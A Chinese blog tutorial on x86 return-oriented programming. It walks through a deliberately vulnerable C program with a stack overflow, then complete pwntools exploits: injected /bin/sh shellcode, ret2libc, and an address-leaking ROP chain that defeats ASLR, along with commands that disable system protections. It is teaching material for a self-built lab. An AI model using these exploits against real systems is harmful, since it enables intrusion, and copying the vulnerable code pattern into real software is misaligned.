pwn学习rop之x86篇

pwn学习rop之x86篇

这段时间自学了蒸米大神写的一步一步学rop系列,以下都是我的学习心得。。。

0x00 序

在说ROP之前,先来说一下什么是缓冲区溢出漏洞。缓冲区溢出漏洞(buffer overflow)是当今软件系统最主要的安全漏洞,利用缓冲区溢出漏洞的攻击也是攻击者最常用的攻击方式之一。所谓缓冲区溢出,是指在应用程序或者系统程序的内存中写入超长数据,从而达到恶意改变或者控制程序执行流程的目的。攻击者通过缓冲区溢出把shellcode写入程序的内存空间,并且通过覆盖栈上函数的返回地址,即EIP寄存器所指向的内存地址的值,或者覆盖SEH链表来实现程序执行流程的控制,使得植入内存的shellcode得以执行。

栈溢出(stack-based buffer overflows)算是安全界常见的漏洞。一方面因为程序员的疏忽,使用了 strcpy、sprintf等不安全的函数,增加了栈溢出漏洞的可能。另一方面,因为栈上保存了函数的返回地址等信息,因此如果攻击者能任意覆盖栈上的数据,通常情况下就意味着他能修改程序的执行流程,从而造成更大的破坏。

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

所谓ROP,简单的说就是把原来已经存在的代码块拼接起来,拼接的方式是通过一个预先准备好的特殊的返回栈,里面包含了各条指令结束后下一条指令的地址。

在一般程序里面,都包含着大量的返回指令(ret),他们基本位于函数的尾部,或是函数中部需要返回的地方。而从函数开始的地方到ret指令之间的这一段序列称为二进制指令代码块(gadgets)。这些二进制指令序列使其组合成完成一些诸如读写内存、算术逻辑运算、控制流程跳转、函数调用等操作。于是,我们就可以通过利用内存空间中各个gadgets以某种顺序执行,达到进行任意操作的目的。而为了使各个gadgets“拼接”起来,我们就需要构造一个特殊的返回栈。首先让指向我们构造的栈(stack)的指针跳到gadget A中,执行其中的代码序列后ret回我们的stack中,然后下一步是跳到gadget B,执行后就到gadgets C……只要stack足够大,就能达到我们想要的效果。

0x01 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。(详细了解可以去看我的另一篇博客checksec及其包含的保护机制)我们这些初学的菜鸟先一步一步来,之后再加上各种防御措施,接着再学习绕过方法,所谓循序渐进嘛。。。

首先来看看我们要用的简单的缓冲区溢出例子:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

注意这个例子需要在32位的liunx系统下编译,学64位的时候在64位系统下编译。我们使用如下命令编译它:

gcc -fno-stack-protector -z execstack -o test1 test.    

这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:

sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用gdb插件peda自带的pattern这个脚本来进行计算。我们使用如下命令:

之后使用gdb调试


这里我们可以得到内存出错地址为0x41416d41.之后使用命令:

就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

之后就是生成一段shellcode可以在网上找现成的,也可以使用msf生成。作为一个初学者,shellcode的地址并不好找,因为gdb调试的时候会影响buf在内存中的地址,蒸米大神推介了一个好的方法:

开去core dump 这个功能。

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xfff66bfd。

OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。

最终本地测试代码如下:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./test') 
ret =0xfff66bfd 

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

socat TCP4-LISTEN:10001,fork EXEC:./level1

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process(‘./level1’)换成p = remote(‘127.0.0.1’,10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:

gcc -fno-stack-protector -o test2 test.c

我们知道test2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

$ gdb ./test2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/test2 

Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
(gdb) find 0xb7e393f0, +2200000, "/bin/sh"(gdb如果安装有peda插件貌似这跳命令找不到)
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8:  "/bin/sh"

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e5f460以及”/bin/sh”的地址0xb7f81ff8。下面我们开始写exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

接下来我们打开ASLR保护。

sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

从现在开始会发现test的libc.so的地址每次都会变化。

我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

最后的exp:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('test3')

p = process('./test3')
#p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x0804844d
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

0x04 小结

本文主要介绍了x86——ROP攻击的基本原理,希望能帮到大家

文章目录
  1. 1. pwn学习rop之x86篇
    1. 1.1. 0x00 序
    2. 1.2. 0x01 Control Flow Hijack 程序流劫持
    3. 1.3. 0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
    4. 1.4. 0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护
    5. 1.5. 0x04 小结
|